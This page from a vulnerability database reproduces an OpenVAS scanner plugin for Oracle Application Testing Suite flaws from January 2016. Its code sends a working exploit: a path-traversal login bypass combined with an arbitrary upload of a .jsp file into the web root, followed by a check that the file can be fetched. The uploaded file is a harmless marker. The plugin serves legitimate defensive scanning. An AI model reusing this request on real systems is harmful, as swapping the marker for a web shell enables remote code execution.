Lucene search
+L

Oracle Application Testing Suite 12.4.0.2, 12.5.0.2 Multiple Vulnerabilities (cpujan2016) - Active Check

🗓️ 25 Nov 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 71 Views

Oracle Application Testing Suite Multiple Vulnerabilities associated with bypassing authentication and arbitrary file uploa

Related
Refs
Code
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oracle:application_testing_suite";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.809731");
  script_version("2025-11-14T15:41:06+0000");
  script_cve_id("CVE-2016-0491", "CVE-2016-0492", "CVE-2016-0489", "CVE-2016-0488",
                "CVE-2016-0487", "CVE-2016-0490", "CVE-2016-0476", "CVE-2016-0477",
                "CVE-2016-0478", "CVE-2016-0480", "CVE-2016-0481", "CVE-2016-0482",
                "CVE-2016-0484", "CVE-2016-0485", "CVE-2016-0486");
  script_tag(name:"cvss_base", value:"6.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2025-11-14 15:41:06 +0000 (Fri, 14 Nov 2025)");
  script_tag(name:"creation_date", value:"2016-11-25 12:07:57 +0530 (Fri, 25 Nov 2016)");
  script_name("Oracle Application Testing Suite 12.4.0.2, 12.5.0.2 Multiple Vulnerabilities (cpujan2016) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_oracle_oats_consolidation.nasl");
  script_mandatory_keys("oracle/application_testing_suite/http/detected");
  script_require_ports("Services/www", 8088);

  script_xref(name:"URL", value:"https://www.oracle.com/security-alerts/cpujan2016.html");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39691");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81070");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81124");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81153");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81107");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81097");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81104");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81158");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81102");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81100");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81184");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81169");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81199");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81105");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81173");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/81163");

  script_tag(name:"summary", value:"Oracle Application Testing Suite is prone to multiple
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP POST request
  and check whether it is able to bypass authentication and upload an arbitrary
  file or not");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - An error in the UploadFileAction servlet when fileType parameter is set as
    '*'.

  - Errors within the 'isAllowedUrl' function which has a list of URI entries
    which do not require authentication.

  - An error within the ActionServlet servlet which bypasses authentication if
    the URI starts with a specific string.

  - Another error within ActionServlet servlet.

  - An error within the UploadServlet servletin the filename header.

  - An error within the DownloadServlet in the reportName parameter.

  - An error exists within the DownloadServlet n the repository, workspace,
    or scenario parameters.

  - An error within the DownloadServlet in the scriptName parameter if downloadType
    is specified as oseScript.

  - An error within the DownloadServlet servlet in TMAPReportImage where the
    downloadType is specified as TMAPReportImage.

  - An error within the DownloadServlet servlet in the scheduleReportName parameter
    where the downloadType is specified as scheduleTaskResults.

  - An error within the DownloadServlet servlet in file parameter where the
    downloadType is specified as subReport.

  - An error within the DownloadServlet servlet in the scriptPath parameter where
    the downloadType is specified as otmPkg.

  - An error within the DownloadServlet servlet in the reportName parameter where
    the downloadType is specified as OTMReport.

  - An error within the DownloadServlet servlet in exportFileName parameter where
    the downloadType is specified as OTMExportFile.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers
  to bypass authentication, gain access to potentially sensitive files and execute
  arbitrary code on the affected system.");

  script_tag(name:"affected", value:"Oracle Application Testing Suite versions
  12.4.0.2 and 12.5.0.2 are known to be affected. Other versions might be affected as well.");

  script_tag(name:"solution", value:"Apply the update from the referenced advisory.");

  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

vtstrings = get_vt_strings();

uploadfile = vtstrings["default_rand"] + "-TEST.jsp";

postData = string('-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="storage.extension"\r\n\r\n',
                  '.jsp\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="fileName1"\r\n\r\n',
                  uploadfile, '\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="fileName2"\r\n\r\n\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="fileName3"\r\n\r\n\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="fileName4"\r\n\r\n\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="fileType"\r\n\r\n',
                  '*\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="file1"; filename="', uploadfile, '"\r\n',
                  'Content-Type: text/plain\r\n\r\n',
                  vtstrings["default"], '-File-Upload-Test-https://www.exploit-db.com/exploits/39691/', '\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="storage.repository"\r\n\r\n',
                  'Default\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="storage.workspace"\r\n\r\n', '.', '\r\n',
                  '-----------------------------', vtstrings["default"], '\r\n',
                  'Content-Disposition: form-data; name="directory"\r\n\r\n',
                  '../oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages\r\n',
                  '-----------------------------', vtstrings["default"], '--\r\n');

vuln_url = "/olt/Login.do/../../olt/UploadFileUpload.do";

req = http_post_put_req(port:port, url:vuln_url,
                        data:postData, add_headers:make_array("Content-Type", string("multipart/form-data; boundary=---------------------------", vtstrings["default"])));
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && "Upload failed" >!< res) {

  url = "/olt/pages/" + uploadfile;
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);

  if(res && vtstrings["default"] + "-File-Upload-Test" >< res) {
    report = http_report_vuln_url(port:port, url:vuln_url);
    report = report + '\n' + "The scanner has uploaded a file: " + uploadfile + ". Please remove it manually.";
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 26.5
EPSS0.92145
71